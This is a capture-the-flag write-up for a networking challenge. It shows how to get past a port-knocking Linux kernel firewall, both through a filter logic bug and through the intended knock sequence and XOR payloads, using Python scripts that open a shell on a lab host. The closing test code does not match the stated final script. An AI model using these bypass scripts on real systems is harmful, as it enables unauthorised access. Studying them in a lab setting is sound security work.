MSCS net500 Write-up:

(Code source here thanks to simo36: https://github.com/0x36/MCSC2014/blob/master/networking/fw.c)

Straight to our goal, I'm gonna describe here how we solved net500, I hate usually hate to read the jibber jabber in every article, so im gonna skip that to save you the trouble and just start already.

I'm going to explain two solutions, the first one that got us the Flag (a pretty lazy solution might I add), and the second one that we should actually have made.

So, this is a CTF and obviously we should be fast, so we did a really quick scan of the whole code, and moved straight to the function

```
unsigned int hooks_in(unsigned long hooknum,
                      struct sk_buff **skb,
                      const struct net_device *in,
                      const struct net_device *out,
                      int (*okfn)(struct sk_buff*))
{…}
```

so, in the first solution, we found kind of a bug in the program in this portion of code that has a really obvious hole:

```
        if(ip_h->protocol == IPPROTO_TCP) {
                tcp_h = (struct tcphdr *) (skb_network_header(skb) + ip_hdrlen(skb));
                currport = ntohs(tcp_h->dest);
                if( (currport < 1100) || (currport >1200)
                    && (currport != 4444))
                        return NF_ACCEPT;

        } else if (ip_h->protocol == IPPROTO_UDP) {
                udp_h = (struct udphdr *) (skb_network_header(skb)+ip_hdrlen(skb));
                currport = ntohs(udp_h->dest);
                if(currport != 5555)
                        return NF_ACCEPT;
        }
```

so either we send a UDP packet to any port that is different than 5555, or we send a TCP packet to a port that is smaller than 1100 or bigger than 1200 and different than 4444.
We will test both propositions now :

This one's for the UDP port 5000

Soufiane — Python — 80×46

vim | Python

```
NrjFlow:~ Soufiane$ cat nokey.py
#!/usr/bin/python
import socket
import struct
import telnetlib

IP = '10.1.0.118'
def knock(p):
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    s.settimeout(0)
    try:
        s.connect((IP, p))
    except socket.error:
        print 'Knock on %s:%s' %  (IP, p)
        pass

#I AM the danger, I AM the one who knocks ... :P
for p in [5000]:
    knock(p)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#Helloooo ?

s.connect((IP, 4444))
print 'Connected!'
t = telnetlib.Telnet()
t.sock = s

#Anybody hoooome ?
t.interact()
NrjFlow:~ Soufiane$ python nokey.py
Connected!
ls
Desktop
Documents
Downloads
examples.desktop
fwc.c
fw.ko
Makefile
Music
Pictures
Public
Templates
Videos
```

And this one is for the TCP ports:

Soufiane — Python — 80×46

vim | Python

```
#!/usr/bin/python
import socket
import struct
import telnetlib

IP = '10.1.0.118'
def knock(p):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(0)
    try:
        s.connect((IP, p))
    except socket.error:
        print 'Knock on %s:%s' %  (IP, p)
        pass

#I AM the danger, I AM the one who knocks ... :P
for p in [1222,1245,1567,1567,1678]:
    knock(p)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#Helloooo ?

s.connect((IP, 4444))
print 'Connected!'
t = telnetlib.Telnet()
t.sock = s

#Anybody hoooome ?
t.interact()
NrjFlow:~ Soufiane$ python nokey.py
Knock on 10.1.0.118:1222
Knock on 10.1.0.118:1245
Knock on 10.1.0.118:1567
Knock on 10.1.0.118:1567
Knock on 10.1.0.118:1678
Connected!

ls
Desktop
Documents
Downloads
examples.desktop
fwc.c
fw.ko
```

BUT, this is not what we should do, so here's the real logic we should follow, in this portion of code :

```
        if(ip_h->protocol == IPPROTO_TCP) {
                tcp_h = (struct tcphdr *) (skb_network_header(skb) + ip_hdrlen(skb));
                currport = ntohs(tcp_h->dest);
                kr_curr = get_knocker(curr_ipaddr);

                if(!kr_curr)
                        return NF_DROP;

                nr = kr_curr->knock_port_idx;

                if(nr == NR_KNOCKS)
                        /* if you reach this, you skipped the first rule !
                         * keep going :-)
                         */
                        return NF_DROP;

                if (currport == ports[nr])
                        kr_curr->knock_port_idx++;
                else
                        kr_curr->knock_port_idx = 0;
                nr = kr_curr->knock_port_idx;

                if (is_in_ports(currport))
                    return NF_ACCEPT;

        }
```

We can see that the code gets the current TCP port to where it's receiving the knocks, and it does a check, to see if the port belongs to the ports defined in this array

```
u_short ports[5] = {1111,1112,1113,1114,1115};
```

using this portion of code:

```
if (currport == ports[nr])
   kr_curr->knock_port_idx++;
else
   kr_curr->knock_port_idx = 0;
 nr = kr_curr->knock_port_idx;
```

the node **knock_port_idx** of the structure **kr_curr**, holds the number of knocks on the correct port it received so far;

so for example, when it receives its first know, it checks if the current port is equal to **ports[0]** which is 1111, if it is correct, it increments the value of **kr_curr->knock_port_idx.** then the variable **nr** get that value, and so on…
this should go on until **nr** hits the number of knocks defined in **NR_KNOCKS**

```
if(nr == NR_KNOCKS)
```

which **five** knocks on the ports defined on the array ports.
so to pass the first level, we need to send 5 TCP requests, to the ports 1111,1112,1113,1114,1115 in that exact order.

and here's the first portion of code written in python to pass the first level:

```
IP = '10.1.0.118'
def knock(p):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(0)
    try:
        s.connect((IP, p))
    except socket.error:
        print 'Knocked on %s:%s' %  (IP, p)
        pass

for p in [1111, 1112, 1113, 1114, 1115]:
    knock(p)
```

Now, we move on the the next level, that is checked in this portion :

```
1.          if (ip_h->protocol == IPPROTO_UDP) {
2.                  udp_h = (struct udphdr*) (skb_network_header(skb) +
3.                                          ip_hdrlen(skb));
4.
5.                  udp_buf = (char*)(skb_network_header(skb) +
6.                                      ip_hdrlen(skb) +sizeof(struct udphdr));
7.
8.                  fw_h = (struct fwhdr*) (skb_network_header(skb) +
9.                                          ip_hdrlen(skb) +
10.                                         sizeof(struct udphdr));
11.
12.                 u_buf = (u_int32_t*)((u_int8_t*)fw_h+8);
13.
14.                 kr_curr = get_knocker(curr_ipaddr);
15.                 if(!kr_curr)
16.                         return NF_ACCEPT;
17.
18.                 if(kr_curr->level2 != 1){
19.                         if(kr_curr->knock_port_idx != N_KNOCKS){
```

```
20.                                     return NF_ACCEPT;
21.                             }
22.
23.                             memcpy(&key1, udp_buf, 4);
24.                             nr = key1 ^ XORK1;
25.
26.                             /* level 2 done ;) */
27.                             if(nr == MAGIC1)
28.                                     kr_curr->level2 = 1;
29.
30.                             return NF_ACCEPT;
31.                     }else{
32.                             first = u_buf[0] ^ u_buf[1];
33.                             if(first != u_buf[2]) goto end;
34.
35.                             second = u_buf[3] & u_buf[4];
36.                             if(second != u_buf[5]) goto end;
37.
38.                             third = u_buf[5] ^ u_buf[2] ^
    u_buf[6] ^ u_buf[7];
39.                             fourth = u_buf[8] ^ u_buf[9];
40.
41.                             if((third ^ fourth) !=
    u_buf[10]) goto end;
42.                             i = do_whitelist(curr_ipaddr);
43.                             return NF_ACCEPT;
44.                     }
45.                     for(i=0;i<NR_KNOCKS;i++) {
46.                             printk(KERN_INFO"[+] Port : %d
    \n",u_buf[i]);
47.                     }
48.
49.             }
```

After all the jibber jabber and checks to see if in fact we passed level 1, we get to this part:

```
23.                             memcpy(&key1, udp_buf, 4);
24.                             nr = key1 ^ XORK1;
25.
26.                             /* level 2 done ;) */
27.                             if(nr == MAGIC1)
28.                                     kr_curr->level2 = 1;
29.
30.                             return NF_ACCEPT;
```

Here, it's waiting for a data to be sent, that it's gonna hold in key1, and then it checks if

key1 ^ XORK1= MAGIC1

We have the constant **XORK1** set in the beginning, so we should get the value of **key1** in a way that **key1^XORK1** equals **MAGIC1**,

By recalling simple boolean algebra, here's how to get key1

A ^ A will always equal **0**; and **A ^ 0** will always equal **A**

so by that logic let's do this simple equation:

key1 ^ XORK1 ^ XORK1 = MAGIC1 ^ XORK1
=> **key1 ^ 0 = MAGIC1 ^ XORK1** (because XORK1 ^ XORK1 = 0)
=> **key1 = MAGIC1 ^ XORK1** (because key1 ^ 0 = key1)
=> **key1 = 0xdeadb00b ^ 0x12F9BC11** (As defined in the constants in the beginning of fw.c)
so now all we need to do is send the value **0xdeadb00b ^ 0x12F9BC11** to the UDP port 5555 (that port that was blocked in the portion of code we gave in the first solution) and we add these python lines to our previous code :

```
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(struct.pack('<I', 0xdeadb00b ^ 0x12F9BC11), (IP, 5555))
```

are we done ?? not so fast, there are still some checks that the firewall does in this part; and here are those checks:

```
{
                        first = u_buf[0] ^ u_buf[1];
                        if(first != u_buf[2]) goto end;

                        second = u_buf[3] & u_buf[4];
                        if(second != u_buf[5]) goto end;

                        third = u_buf[5] ^ u_buf[2] ^ u_buf[6] ^ u_buf[7];
                        fourth = u_buf[8] ^ u_buf[9];

                        if((third ^ fourth) != u_buf[10]) goto end;
                        i = do_whitelist(curr_ipaddr);
                        return NF_ACCEPT;
                }
```

so here, it's waiting for 11 values to be received in the buffer **u_buf**; and we need to get those values, let's call them **b1,b2,b3,b4,b5,b6,b7,b8,b9,b10** and **b11**; so, the conditions that these values should verify are:
b3=b1 ^ b2
b6=b4 & b5
b11= b6 ^ b3 ^ b7 ^ b8 ^ b9 ^ b10
after that we satisfy these conditions, our IP address will be whitelisted **do_whitelist(curr_ipaddr)** and then we can connect to the port asked from us.

the first thought that came to me, is try 0 for all these values
so let's see
b3 = 0 ^ 0 = 0
b6 = 0 & 0 = 0
b11= 0 ^ 0 ^ 0 ^ 0 ^ 0 ^ 0 = 0

aaand there we go, so next up, we need to send 11 zeros, to the UDP port number 5555.

we add this line to our python code

```
s.sendto(struct.pack('<I', 0) * 11, (IP, 5555))
```

and then add these lines to connect to the TCP port 4444 that we asked from us in the challenge, and to intercept with the shell

```
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, 4444))
print 'Connected!'
t = telnetlib.Telnet()
t.sock = s
t.interact()
```

here's our final python code:

```
#!/usr/bin/python
import socket
import struct
import telnetlib

IP = '10.1.0.118'
def knock(p):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(0)
    try:
        s.connect((IP, p))
    except socket.error:
        print 'Knocked on %s:%s' %  (IP, p)
        pass

for p in [1111, 1112, 1113, 1114, 1115]:
    knock(p)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.sendto(struct.pack('<I', 0xdeadb00b ^ 0x12F9BC11), (IP, 5555))
s.sendto(struct.pack('<I', 0) * 11, (IP, 5555))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, 4444))
print 'Connected!'
t = telnetlib.Telnet()
t.sock = s
t.interact()
```

And we test it:

```
Soufiane — Python — 80×46
bash                    Python
#!/usr/bin/python
import socket
import struct
import telnetlib

IP = '10.1.0.118'
def knock(p):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(0)
    try:
        s.connect((IP, p))
    except socket.error:
        print 'Knocked on %s:%s' %  (IP, p)
        pass

for p in [1300, 1112, 1300, 1200, 1000]:
    knock(p)
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
#s.sendto(struct.pack('<I', 0xdeadb00b ^ 0x12F9BC11), (IP, 5555))
#s.sendto(struct.pack('<I', 0) * 11, (IP, 5555))

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, 4444))
print 'Connected!'
t = telnetlib.Telnet()
t.sock = s
t.interact()

NrjFlov:~ Soufiane$ python knock.py
Knocked on 10.1.0.118:1300
Knocked on 10.1.0.118:1112
Knocked on 10.1.0.118:1300
Knocked on 10.1.0.118:1200
Knocked on 10.1.0.118:1000
Connected!
ls
Desktop
Documents
Downloads
examples.desktop
fwc.c
fw.ko
Makefile
Music
Pictures
Public
```

And we got the shell :D thanks for reading, I hope I was clear and my logic isn't flawed.